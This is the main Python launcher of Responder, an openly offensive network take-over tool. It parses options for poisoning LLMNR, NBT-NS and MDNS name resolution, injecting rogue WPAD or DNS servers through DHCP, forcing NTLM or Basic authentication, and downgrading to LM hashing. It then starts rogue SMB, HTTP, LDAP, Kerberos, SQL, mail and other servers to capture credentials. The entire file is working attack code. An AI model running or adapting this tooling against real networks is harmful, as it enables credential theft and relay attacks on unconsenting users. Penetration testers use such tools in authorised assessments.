#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools 
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import asyncio
import optparse
import ssl
try:
	from SocketServer import TCPServer, UDPServer, ThreadingMixIn
except:
	from socketserver import TCPServer, UDPServer, ThreadingMixIn
from threading import Thread
from utils import *
import struct
banner()

parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze',        action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface',      action="store",      help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip',             action="store",      help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-6', "--externalip6",    action="store",      help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6",  metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip",    action="store",      help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP",  metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic',         action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-d', '--DHCP',          action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-D', '--DHCP-DNS',     action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)

parser.add_option('-w','--wpad',           action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store",      help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth',  action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)

parser.add_option('-P','--ProxyAuth',       action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-Q','--quiet',           action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)

parser.add_option('--lm',                  action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess',         action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose',        action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl',            action="store",      help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
parser.add_option('-N', '--AnswerName',	   action="store",      help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
options, args = parser.parse_args()

if not os.geteuid() == 0:
    print(color("[!] Responder must be run as root."))
    sys.exit(-1)
elif options.OURIP == None and IsOsX() == True:
    print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
    parser.print_help()
    exit(-1)
    
elif options.ProxyAuth_On_Off and options.WPAD_On_Off:
    print("\n\033[1m\033[31mYou cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.\033[0m\n")
    exit(-1)

settings.init()
settings.Config.populate(options)

StartupMessage()

settings.Config.ExpandIPRanges()

#Create the DB, before we start Responder.
CreateResponderDb()

Have_IPv6 = settings.Config.IPv6

class ThreadingUDPServer(ThreadingMixIn, UDPServer):
	def server_bind(self):
		if OsInterfaceIsSupported():
			try:
				if settings.Config.Bind_To_ALL:
					pass
				else:
					if (sys.version_info > (3, 0)):
						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
					else:
						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
			except:
				pass
		UDPServer.server_bind(self)

class ThreadingTCPServer(ThreadingMixIn, TCPServer):
	def server_bind(self):
		if OsInterfaceIsSupported():
			try:
				if settings.Config.Bind_To_ALL:
					pass
				else:
					if (sys.version_info > (3, 0)):
						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
					else:
						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
			except:
				pass
		TCPServer.server_bind(self)

class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
	def server_bind(self):
		if OsInterfaceIsSupported():
			try:
				if settings.Config.Bind_To_ALL:
					pass
				else:
					if (sys.version_info > (3, 0)):
						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
					else:
						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
			except:
				pass
		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
		TCPServer.server_bind(self)

class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
	def server_bind(self):
		MADDR = "224.0.0.251"
		MADDR6 = 'ff02::fb'
		self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
		self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
		Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)

		#IPV6:
		if (sys.version_info > (3, 0)):
			if Have_IPv6:
				mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
				self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
		else:
			if Have_IPv6:
				mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
				self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
		if OsInterfaceIsSupported():
			try:
				if settings.Config.Bind_To_ALL:
					pass
				else:
					if (sys.version_info > (3, 0)):
						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
					else:
						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
			except:
				pass
		UDPServer.server_bind(self)

class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
	def server_bind(self):
		MADDR  = '224.0.0.252'
		MADDR6 = 'FF02:0:0:0:0:0:1:3'
		self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
		self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)		
		Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)

		#IPV6:
		if Have_IPv6:
			mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
			self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
		if OsInterfaceIsSupported():
			try:
				if settings.Config.Bind_To_ALL:
					pass
				else:
					if (sys.version_info > (3, 0)):
						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
					else:
						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
						if Have_IPv6:
							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
			except:
				pass
		UDPServer.server_bind(self)
		

ThreadingUDPServer.allow_reuse_address = 1
if Have_IPv6:
	ThreadingUDPServer.address_family = socket.AF_INET6

ThreadingTCPServer.allow_reuse_address = 1
if Have_IPv6:
	ThreadingTCPServer.address_family = socket.AF_INET6

ThreadingUDPMDNSServer.allow_reuse_address = 1
if Have_IPv6:
	ThreadingUDPMDNSServer.address_family = socket.AF_INET6

ThreadingUDPLLMNRServer.allow_reuse_address = 1
if Have_IPv6:
	ThreadingUDPLLMNRServer.address_family = socket.AF_INET6

ThreadingTCPServerAuth.allow_reuse_address = 1
if Have_IPv6:
	ThreadingTCPServerAuth.address_family = socket.AF_INET6

def serve_thread_udp_broadcast(host, port, handler):
	try:
		server = ThreadingUDPServer(('', port), handler)
		server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")

def serve_NBTNS_poisoner(host, port, handler):
	serve_thread_udp_broadcast('', port, handler)

def serve_MDNS_poisoner(host, port, handler):
	try:
		server = ThreadingUDPMDNSServer(('', port), handler)
		server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")

def serve_LLMNR_poisoner(host, port, handler):
	try:
		server = ThreadingUDPLLMNRServer(('', port), handler)
		server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
		
def serve_thread_udp(host, port, handler):
	try:
		if OsInterfaceIsSupported():
			server = ThreadingUDPServer(('', port), handler)
			server.serve_forever()
		else:
			server = ThreadingUDPServer(('', port), handler)
			server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")

def serve_thread_tcp(host, port, handler):
	try:
		if OsInterfaceIsSupported():
			server = ThreadingTCPServer(('', port), handler)
			server.serve_forever()
		else:
			server = ThreadingTCPServer(('', port), handler)
			server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")

def serve_thread_tcp_auth(host, port, handler):
	try:
		if OsInterfaceIsSupported():
			server = ThreadingTCPServerAuth(('', port), handler)
			server.serve_forever()
		else:
			server = ThreadingTCPServerAuth(('', port), handler)
			server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")

def serve_thread_SSL(host, port, handler):
	try:

		cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
		key =  os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
		context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
		context.load_cert_chain(cert, key)
		if OsInterfaceIsSupported():
			server = ThreadingTCPServer(('', port), handler)
			server.socket = context.wrap_socket(server.socket, server_side=True)
			server.serve_forever()
		else:
			server = ThreadingTCPServer(('', port), handler)
			server.socket = context.wrap_socket(server.socket, server_side=True)
			server.serve_forever()
	except:
		print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")


def main():
	try:
		if (sys.version_info < (3, 0)):
			print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
		print(color('\n[+]', 2, 1) + " Listening for events...\n")

		threads = []

		# Load (M)DNS, NBNS and LLMNR Poisoners
		if settings.Config.LLMNR_On_Off:
		    from poisoners.LLMNR import LLMNR
		    threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))

		if settings.Config.NBTNS_On_Off:
		    from poisoners.NBTNS import NBTNS
		    threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137,  NBTNS,)))

		if settings.Config.MDNS_On_Off:
		    from poisoners.MDNS import MDNS
		    threads.append(Thread(target=serve_MDNS_poisoner,  args=('', 5353, MDNS,)))

		#// Vintage Responder BOWSER module, now disabled by default. 
		#// Generate to much noise & easily detectable on the network when in analyze mode.
		# Load Browser Listener
		#from servers.Browser import Browser
		#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138,  Browser,)))

		if settings.Config.HTTP_On_Off:
			from servers.HTTP import HTTP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,)))

		if settings.Config.WinRM_On_Off:
			from servers.WinRM import WinRM
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,)))

		if settings.Config.WinRM_On_Off:
			from servers.WinRM import WinRM
			threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 5986, WinRM,)))

		if settings.Config.SSL_On_Off:
			from servers.HTTP import HTTP
			threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,)))

		if settings.Config.RDP_On_Off:
			from servers.RDP import RDP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,)))

		if settings.Config.DCERPC_On_Off:
			from servers.RPC import RPCMap, RPCMapper
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 135, RPCMap,)))
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, settings.Config.RPCPort, RPCMapper,)))

		if settings.Config.WPAD_On_Off:
			from servers.HTTP_Proxy import HTTP_Proxy
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,)))

		if settings.Config.ProxyAuth_On_Off:
		        from servers.Proxy_Auth import Proxy_Auth
		        threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,)))

		if settings.Config.SMB_On_Off:
			if settings.Config.LM_On_Off:
				from servers.SMB import SMB1LM
				threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1LM,)))
				threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1LM,)))
			else:
				from servers.SMB import SMB1
				threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
				threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))

		if settings.Config.QUIC_On_Off:
			from servers.QUIC import start_quic_server
			cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
			key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
			threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))

		if settings.Config.Krb_On_Off:
			from servers.Kerberos import KerbTCP, KerbUDP
			threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 88, KerbTCP,)))

		if settings.Config.SQL_On_Off:
			from servers.MSSQL import MSSQL, MSSQLBrowser
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1433, MSSQL,)))
			threads.append(Thread(target=serve_thread_udp_broadcast, args=(settings.Config.Bind_To, 1434, MSSQLBrowser,)))

		if settings.Config.FTP_On_Off:
			from servers.FTP import FTP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 21, FTP,)))

		if settings.Config.POP_On_Off:
			from servers.POP3 import POP3
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,)))

		if settings.Config.LDAP_On_Off:
			from servers.LDAP import LDAP, CLDAP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
			threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 636, LDAP,)))
			threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))

		if settings.Config.MQTT_On_Off:
			from servers.MQTT import MQTT
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,)))

		if settings.Config.SMTP_On_Off:
			from servers.SMTP import ESMTP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25,  ESMTP,)))
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 587, ESMTP,)))

		if settings.Config.IMAP_On_Off:
			from servers.IMAP import IMAP
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 143, IMAP,)))

		if settings.Config.DNS_On_Off:
			from servers.DNS import DNS, DNSTCP
			threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
			threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))

		if settings.Config.SNMP_On_Off:
			from servers.SNMP import SNMP
			threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,)))

		for thread in threads:
			thread.daemon = True
			thread.start()

		if settings.Config.AnalyzeMode:
			print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
		if settings.Config.Quiet_Mode:
			print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
			

		if settings.Config.DHCP_On_Off:
			from poisoners.DHCP import DHCP
			DHCP(settings.Config.DHCP_DNS)

		while True:
			time.sleep(1)

	except KeyboardInterrupt:
		sys.exit("\r%s Exiting..." % color('[+]', 2, 1))

if __name__ == '__main__':
	main()